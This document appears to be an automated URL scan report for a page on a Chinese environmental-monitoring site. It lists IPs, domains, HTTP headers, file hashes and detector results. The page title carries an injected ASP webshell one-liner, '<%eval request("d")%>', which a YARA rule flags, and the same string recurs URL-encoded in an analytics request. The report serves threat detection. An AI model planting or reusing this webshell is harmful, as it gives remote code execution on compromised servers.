Report - mjhj.com.cn/cs_view.asp?id=159

Report Overview

Submitted URL
mjhj.com.cn/cs_view.asp?id=159
IP
123.57.243.199
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.
Submitted
2024-04-24 14:10:14
Access
public
Website Title
声环境功能区的分类-企业厂界噪声-北京中环物研环境质量监测中心"%><%eval request("d")%><%s="
Final URL
mjhj.com.cn/cs_view.asp?id=159
Tags
urlquery detections
No alerts detected

Detections

urlquery
0
Network Intrusion Detection
0
Threat Detection Systems
2

Domain Summary

Domain / FQDN	Rank	Registered	First Seen	Last Seen	Sent	Received	IP
mjhj.com.cn	unknown	unknown	No data	No data	4.5 kB	163 kB	123.57.243.199
hm.baidu.com	8254	1999-10-11	2012-05-26	2024-04-23	1.4 kB	12 kB	14.215.182.140
goutong.baidu.com	261591	1999-10-11	2015-01-05	2024-04-16	447 B	4.9 kB	183.240.98.82
aff-im.cdn.bcebos.com	unknown	2014-08-28	2022-10-27	2024-04-16	428 B	0 B	0.0.0.0

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

No alerts detected

Threat Detection Systems

Public InfoSec YARA rules

Scan Date	Severity	Indicator	Alert
2024-04-24	medium	mjhj.com.cn/cs_view.asp?id=159	Generic ASP webshell which uses any eval/exec function directly on user input

OpenPhish

No alerts detected

PhishTank

No alerts detected

mnemonic secure dns

No alerts detected

Quad9 DNS

No alerts detected

ThreatFox

No alerts detected

JavaScript (5)

	URL	Size	First Seen	Last Seen
	goutong.baidu.com/site/384/26ccb8d5fee8b3b045e11e662d2f74c6/b.js?siteId=927321	4.4 kB	2024-04-24	2024-04-24
Pretty URL goutong.baidu.com/site/384/26ccb8d5fee8b3b045e11e662d2f74c6/b.js?siteId=927321 IP 183.240.98.82 ASN #56040 China Mobile communications corporation Introduced by scriptElement Embedded in HTML false Observations First Seen2024-04-24 16:10:22 Last Seen2024-04-24 16:10:22 Times Seen2 Hash 2a59fe9898d5d88c00a2fb50c8cd7871 6ca02723050e8da9373983051df7d677051c88c6 16acabddbe343ba8aeea7b3818b842910f29fcc90d7d82d671b2ee79463ebfe4 Loading...

	mjhj.com.cn/cs_view.asp?id=159	245 B	2024-04-24	2024-04-24
Pretty URL mjhj.com.cn/cs_view.asp?id=159 IP 123.57.243.199 ASN #37963 Hangzhou Alibaba Advertising Co.,Ltd. Introduced by scriptElement Embedded in HTML true Observations First Seen2024-04-24 16:10:22 Last Seen2024-04-24 16:10:22 Times Seen1 Hash 888e8a105902e22222c007e9f80c0a85 c9cb7345675afb576d0f2b789e4cee1572e66524 98f3daa966ac706fb2c1adb21129f76a0d3fa55d31459ab5b6944435206dbed5 Loading...

	hm.baidu.com/hm.js?26ccb8d5fee8b3b045e11e662d2f74c6	30 kB	2024-04-24	2024-04-24
Pretty URL hm.baidu.com/hm.js?26ccb8d5fee8b3b045e11e662d2f74c6 IP 14.215.182.140 ASN #4134 Chinanet Introduced by scriptElement Embedded in HTML false Observations First Seen2024-04-24 16:10:22 Last Seen2024-04-24 16:10:22 Times Seen2 Hash 23c91e09424abea507b2a9d653ed9676 3fae7c4f395e9186e0f5f497f6bea7055a2c8586 45458b0604193498e62d94f5510e995686b0747d28908c548dd96137cc958c02 Loading...

	unknown	37 B	2023-04-11	2024-05-06
Pretty Introduced by Function Embedded in HTML false Observations First Seen2023-04-11 21:49:14 Last Seen2024-05-06 00:36:35 Times Seen22290 Hash 1c5c9160600df2d96d69a4ea16cec7ed 3cf678c9135cc952ba6970ef545035bb757a443f a3520fe88e248d2b6c9c6db93309a037ef969fe297208e5bd7e49a55bb32c808 Loading...

	unknown	584 B	2024-04-24	2024-04-24
Pretty Introduced by Function Embedded in HTML false Observations First Seen2024-04-24 16:10:22 Last Seen2024-04-24 16:10:22 Times Seen1 Hash 79e6720ea84e62d813813ebc1556fa11 1c21652d505cc476904fcfc125232ebc299ee358 b335b06897418600a1fbd15774d13163f8c426d97fdf9648744f0fc29164ea1f Loading...

HTTP Transactions (15)

URL IP Response Size

mjhj.com.cn/cs_view.asp?id=159

123.57.243.199

200 OK

4.5 kB

URL User Request GET HTTP/1.1
mjhj.com.cn/cs_view.asp?id=159
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

File type
HTML document, ISO-8859 text, with very long lines (1161), with CRLF line terminators
Size
4.5 kB (4528 bytes)
Hash
9ae07e073f7e4c45a53c9a33d2e6671d
6604dbf17df81392bb57f0d70181dd83e6f37232
6d0481329a5d199bfb79b794ddd2d2c47b8a9c56dc80c00fb8318b23755bbc17

Detections

Analyzer	Verdict	Alert
Public Nextron YARA rules	malware	Generic ASP webshell which uses any eval/exec function directly on user input

HTTP Headers

GET /cs_view.asp?id=159 HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB; path=/
Date: Tue, 23 Apr 2024 23:07:05 GMT
Content-Length: 4528

mjhj.com.cn/css/css.css

123.57.243.199

200 OK

3.1 kB

URL GET HTTP/1.1
mjhj.com.cn/css/css.css
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
assembler source, ISO-8859 text, with CRLF line terminators
Size
3.1 kB (3137 bytes)
Hash
0d7953c3e6171876562cd07fc3961512
4c239920bde11a46a33f23fc21d0eebf242e7a6a
7f97254bc3255e5d2bdbe7ba260f35ad58da5afce640a8c6334ae28556636714

HTTP Headers

GET /css/css.css HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: text/css
Content-Encoding: gzip
Last-Modified: Thu, 13 Feb 2020 10:04:04 GMT
Accept-Ranges: bytes
ETag: "2ad16ec54e2d51:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:05 GMT
Content-Length: 3137

mjhj.com.cn/images/weixin.jpg

123.57.243.199

200 OK

28 kB

URL GET HTTP/1.1
mjhj.com.cn/images/weixin.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 258x258, components 3
Size
28 kB (27714 bytes)
Hash
b9ae906a2d9011dc621d30b95a7e6cbb
c0d7bbcc29a04d1248afddd3353e0db9be1e529c
443fab6185ff6c7aeb8b8d6bbbf9967951cefa850b5a6e997fb19d246ad2d9d3

HTTP Headers

GET /images/weixin.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sat, 05 Jan 2019 08:46:28 GMT
Accept-Ranges: bytes
ETag: "218e4a26d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 27714

mjhj.com.cn/images/dh.jpg

123.57.243.199

200 OK

428 B

URL GET HTTP/1.1
mjhj.com.cn/images/dh.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 13x33, components 3
Size
428 B (428 bytes)
Hash
2fe18c91c11f77d16fa1fba3a39db90b
85257623a61bebb8ba70f273c5d3f9f8eaf125f8
24f0b0cfbc7073a2b62276f8f289304987e90d6babe6ee219028198624252bcd

HTTP Headers

GET /images/dh.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/css/css.css
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sat, 05 Jan 2019 08:46:28 GMT
Accept-Ranges: bytes
ETag: "b944126d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 428

mjhj.com.cn/images/img5.jpg

123.57.243.199

200 OK

9.6 kB

URL GET HTTP/1.1
mjhj.com.cn/images/img5.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 231x74, components 3
Size
9.6 kB (9598 bytes)
Hash
d72c47f8b44cbb0724ca5f1c4161355a
5d67e14788a43de7e27065948e6252fe94e70ecb
81353a30d78314ee95a46c2e514c41baab0da6c291b40170d88c76bb052e33ec

HTTP Headers

GET /images/img5.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sat, 05 Jan 2019 08:46:28 GMT
Accept-Ranges: bytes
ETag: "b944126d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 9598

mjhj.com.cn/images/duan.jpg

123.57.243.199

200 OK

2.0 kB

URL GET HTTP/1.1
mjhj.com.cn/images/duan.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 280x28, components 3
Size
2.0 kB (1987 bytes)
Hash
96d852731db0e455e08101ac6a6d69d1
0194e3a780b4e6c01733e8544eb72eeaf561d3eb
e183a6c5cd0c52f6e6984a6ff1cadbe21857c0ce673384051601761f00d8668c

HTTP Headers

GET /images/duan.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/css/css.css
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sat, 05 Jan 2019 08:46:28 GMT
Accept-Ranges: bytes
ETag: "b944126d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 1987

mjhj.com.cn/images/top.jpg

123.57.243.199

200 OK

67 kB

URL GET HTTP/1.1
mjhj.com.cn/images/top.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1003x187, components 3
Size
67 kB (66932 bytes)
Hash
4232bc1ae4dd599bf8893aab56e29e80
1c9315892013dedbb1b30519017cdcb03a6061e3
7165f3276d5965edb4e8fb7fa9ab562d8ed024570c910d549b139aa780347836

HTTP Headers

GET /images/top.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Fri, 06 Nov 2020 09:52:59 GMT
Accept-Ranges: bytes
ETag: "ba7c529c22b4d61:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 66932

mjhj.com.cn/images/weibo.jpg

123.57.243.199

200 OK

36 kB

URL GET HTTP/1.1
mjhj.com.cn/images/weibo.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 258x258, components 3
Size
36 kB (35552 bytes)
Hash
eb5223de4b209a5bc5e9cc23f1ed5746
79b2ad1bb6a01c0281f004530a4e7b761fddcd59
2490ce0fcc19853501ca3381a94c6186b62e93a5c331f899ef01dc06ba7f0dd0

HTTP Headers

GET /images/weibo.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sat, 05 Jan 2019 08:46:28 GMT
Accept-Ranges: bytes
ETag: "218e4a26d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 35552

mjhj.com.cn/favicon.ico

123.57.243.199

200 OK

4.3 kB

URL GET HTTP/1.1
mjhj.com.cn/favicon.ico
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Size
4.3 kB (4286 bytes)
Hash
6c3e2bad10a278f9d3caa7ed51c82d4f
d5753b6d5a73758055945fca448445ff50049727
c13a3f4b91798075b11629072731ba3ee8c8eb216bef349c25565c69f52cb2be

HTTP Headers

GET /favicon.ico HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/x-icon
Last-Modified: Sat, 05 Jan 2019 08:46:25 GMT
Accept-Ranges: bytes
ETag: "45312624d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:09 GMT
Content-Length: 4286

mjhj.com.cn/images/mianbaobg.jpg

123.57.243.199

200 OK

3.3 kB

URL GET HTTP/1.1
mjhj.com.cn/images/mianbaobg.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 713x28, components 3
Size
3.3 kB (3318 bytes)
Hash
a68cadac3600db1c98c7034f8403ab5e
01cabfab1a3afb20a26830b55415d78d9fd0dfa5
6da0152005cfc28a874f47998c5669ac937fab610f7fdcb19286add3ee3fa0e5

HTTP Headers

GET /images/mianbaobg.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/css/css.css
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: image/jpeg
Last-Modified: Sat, 05 Jan 2019 08:46:28 GMT
Accept-Ranges: bytes
ETag: "13674326d3a4d41:0"
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:07 GMT
Content-Length: 3318

hm.baidu.com/hm.js?26ccb8d5fee8b3b045e11e662d2f74c6

14.215.182.140

200 OK

11 kB

URL GET HTTP/1.1
hm.baidu.com/hm.js?26ccb8d5fee8b3b045e11e662d2f74c6
IP
14.215.182.140:443
ASN
#4134 Chinanet

Requested by
http://mjhj.com.cn/cs_view.asp?id=159
Certificate
IssuerGlobalSign nv-sa
Subjectbaidu.com
Fingerprint97:42:D5:98:27:D6:22:88:CF:59:C3:FF:75:86:8D:D5:D3:12:A0:AF
ValidityThu, 06 Jul 2023 01:51:06 GMT - Tue, 06 Aug 2024 01:51:05 GMT

File type
JavaScript source, ASCII text, with very long lines (659)
Size
11 kB (11297 bytes)
Hash
23c91e09424abea507b2a9d653ed9676
3fae7c4f395e9186e0f5f497f6bea7055a2c8586
45458b0604193498e62d94f5510e995686b0747d28908c548dd96137cc958c02

HTTP Headers

GET /hm.js?26ccb8d5fee8b3b045e11e662d2f74c6 HTTP/1.1
Host: hm.baidu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Cache-Control: max-age=0, must-revalidate
Content-Encoding: gzip
Content-Length: 11297
Content-Type: application/javascript
Date: Wed, 24 Apr 2024 14:10:01 GMT
Etag: 6900e86fdaed0d74234342330bb86fc1
P3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Server: apache
Set-Cookie: HMACCOUNT=49E91285DCCBF38A; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 GMT
Strict-Transport-Security: max-age=172800

hm.baidu.com/hm.gif?cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=1024&et=0&ja=0&ln=en-us&lo=0&rnd=1944008399&si=26ccb8d5fee8b3b045e11e662d2f74c6&v=1.3.0&lv=1&sn=30947&r=0&ww=1280&u=http%3A%2F%2Fmjhj.com.cn%2Fcs_view.asp%3Fid%3D159&tt=%E5%A3%B0%E7%8E%AF%E5%A2%83%E5%8A%9F%E8%83%BD%E5%8C%BA%E7%9A%84%E5%88%86%E7%B1%BB-%E4%BC%81%E4%B8%9A%E5%8E%82%E7%95%8C%E5%99%AA%E5%A3%B0-%E5%8C%97%E4%BA%AC%E4%B8%AD%E7%8E%AF%E7%89%A9%E7%A0%94%E7%8E%AF%E5%A2%83%E8%B4%A8%E9%87%8F%E7%9B%91%E6%B5%8B%E4%B8%AD%E5%BF%83%22%25%3E%3C%25eval%20request(%22d%22)%25%3E%3C%25s%3D%22

14.215.182.140

200 OK

43 B

URL GET HTTP/1.1
hm.baidu.com/hm.gif?cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=1024&et=0&ja=0&ln=en-us&lo=0&rnd=1944008399&si=26ccb8d5fee8b3b045e11e662d2f74c6&v=1.3.0&lv=1&sn=30947&r=0&ww=1280&u=http%3A%2F%2Fmjhj.com.cn%2Fcs_view.asp%3Fid%3D159&tt=%E5%A3%B0%E7%8E%AF%E5%A2%83%E5%8A%9F%E8%83%BD%E5%8C%BA%E7%9A%84%E5%88%86%E7%B1%BB-%E4%BC%81%E4%B8%9A%E5%8E%82%E7%95%8C%E5%99%AA%E5%A3%B0-%E5%8C%97%E4%BA%AC%E4%B8%AD%E7%8E%AF%E7%89%A9%E7%A0%94%E7%8E%AF%E5%A2%83%E8%B4%A8%E9%87%8F%E7%9B%91%E6%B5%8B%E4%B8%AD%E5%BF%83%22%25%3E%3C%25eval%20request(%22d%22)%25%3E%3C%25s%3D%22
IP
14.215.182.140:443
ASN
#4134 Chinanet

Requested by
http://mjhj.com.cn/cs_view.asp?id=159
Certificate
IssuerGlobalSign nv-sa
Subjectbaidu.com
Fingerprint97:42:D5:98:27:D6:22:88:CF:59:C3:FF:75:86:8D:D5:D3:12:A0:AF
ValidityThu, 06 Jul 2023 01:51:06 GMT - Tue, 06 Aug 2024 01:51:05 GMT

File type
GIF image data, version 89a, 1 x 1
Size
43 B (43 bytes)
Hash
ad4b0f606e0f8465bc4c4c170b37e1a3
50b30fd5f87c85fe5cba2635cb83316ca71250d7
cf4724b2f736ed1a0ae6bc28f1ead963d9cd2c1fd87b6ef32e7799fc1c5c8bda

HTTP Headers

GET /hm.gif?cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=1024&et=0&ja=0&ln=en-us&lo=0&rnd=1944008399&si=26ccb8d5fee8b3b045e11e662d2f74c6&v=1.3.0&lv=1&sn=30947&r=0&ww=1280&u=http%3A%2F%2Fmjhj.com.cn%2Fcs_view.asp%3Fid%3D159&tt=%E5%A3%B0%E7%8E%AF%E5%A2%83%E5%8A%9F%E8%83%BD%E5%8C%BA%E7%9A%84%E5%88%86%E7%B1%BB-%E4%BC%81%E4%B8%9A%E5%8E%82%E7%95%8C%E5%99%AA%E5%A3%B0-%E5%8C%97%E4%BA%AC%E4%B8%AD%E7%8E%AF%E7%89%A9%E7%A0%94%E7%8E%AF%E5%A2%83%E8%B4%A8%E9%87%8F%E7%9B%91%E6%B5%8B%E4%B8%AD%E5%BF%83%22%25%3E%3C%25eval%20request(%22d%22)%25%3E%3C%25s%3D%22 HTTP/1.1
Host: hm.baidu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Cache-Control: private, max-age=0, no-cache
Content-Length: 43
Content-Type: image/gif
Date: Wed, 24 Apr 2024 14:10:02 GMT
P3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Pragma: no-cache
Server: apache
Set-Cookie: HMACCOUNT=FC477796F393C8AD; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 GMT
Strict-Transport-Security: max-age=172800
X-Content-Type-Options: nosniff

goutong.baidu.com/site/384/26ccb8d5fee8b3b045e11e662d2f74c6/b.js?siteId=927321

183.240.98.82

200 OK

4.4 kB

URL GET HTTP/1.1
goutong.baidu.com/site/384/26ccb8d5fee8b3b045e11e662d2f74c6/b.js?siteId=927321
IP
183.240.98.82:443
ASN
#56040 China Mobile communications corporation

Requested by
http://mjhj.com.cn/cs_view.asp?id=159
Certificate
IssuerGlobalSign nv-sa
Subjectbaidu.com
Fingerprint97:42:D5:98:27:D6:22:88:CF:59:C3:FF:75:86:8D:D5:D3:12:A0:AF
ValidityThu, 06 Jul 2023 01:51:06 GMT - Tue, 06 Aug 2024 01:51:05 GMT

File type
JavaScript source, Unicode text, UTF-8 text, with very long lines (4228), with no line terminators
Size
4.4 kB (4430 bytes)
Hash
2a59fe9898d5d88c00a2fb50c8cd7871
6ca02723050e8da9373983051df7d677051c88c6
16acabddbe343ba8aeea7b3818b842910f29fcc90d7d82d671b2ee79463ebfe4

HTTP Headers

GET /site/384/26ccb8d5fee8b3b045e11e662d2f74c6/b.js?siteId=927321 HTTP/1.1
Host: goutong.baidu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Alt-Svc: h3="quic-pqiao.baidu.com:443"; ma=2592000, h3-29="quic-pqiao.baidu.com:443"; ma=2592000
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 4430
Content-Type: text/javascript; charset=utf-8
Date: Wed, 24 Apr 2024 14:10:03 GMT
Pragma: no-cache
Server: Apache
X-Envoy-Decorator-Operation: im-icon.meg-crm-prod.svc.cluster.local:2333/*
X-Envoy-Upstream-Service-Time: 275
X-Protected-By: OpenRASP
X-Request-Id: 967958685684469891bd12a4b01d0f8a

aff-im.cdn.bcebos.com/onlineEnv/imsdk/1713947854/affim.js

0.0.0.0

0 B

URL GET
aff-im.cdn.bcebos.com/onlineEnv/imsdk/1713947854/affim.js
IP
0.0.0.0:0
ASN
#0

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type

Size
0 B (0 bytes)
Hash
d41d8cd98f00b204e9800998ecf8427e
da39a3ee5e6b4b0d3255bfef95601890afd80709
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

HTTP Headers

GET /onlineEnv/imsdk/1713947854/affim.js HTTP/1.1
Host: aff-im.cdn.bcebos.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

mjhj.com.cn/images/dot02_200a8.jpg

123.57.243.199

404 Not Found

2.7 kB

URL GET HTTP/1.1
mjhj.com.cn/images/dot02_200a8.jpg
IP
123.57.243.199:80
ASN
#37963 Hangzhou Alibaba Advertising Co.,Ltd.

Requested by
http://mjhj.com.cn/cs_view.asp?id=159

File type
HTML document, Unicode text, UTF-8 text, with very long lines (2748), with no line terminators
Size
2.7 kB (2720 bytes)
Hash
7382b8d06da679d3d65bde86e0b5bb64
bf51162b957528fd09d1ba355fb0dc13e9f6fcdd
d58093b37cd773d323db94a23686b9dce726be75a2afe27e3bbecaa2cd05c098

HTTP Headers

GET /images/dot02_200a8.jpg HTTP/1.1
Host: mjhj.com.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer: http://mjhj.com.cn/cs_view.asp?id=159
Cookie: ASPSESSIONIDQQTCACAS=KCKPHLODMMOPOIIJOCCJPHBB
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Date: Tue, 23 Apr 2024 23:07:08 GMT
Content-Length: 5096

Report Overview

Submitted URL

IP

ASN

Submitted

Access

Website Title

Final URL

Tags

urlquery detections

Detections

urlquery

Network Intrusion Detection

Threat Detection Systems

Domain Summary

Related reports

Network Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Threat Detection Systems

Public InfoSec YARA rules

OpenPhish

PhishTank

mnemonic secure dns

Quad9 DNS

ThreatFox

JavaScript (5)

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

Embedded in HTML

Observations

Hash

URL

IP

ASN

Introduced by

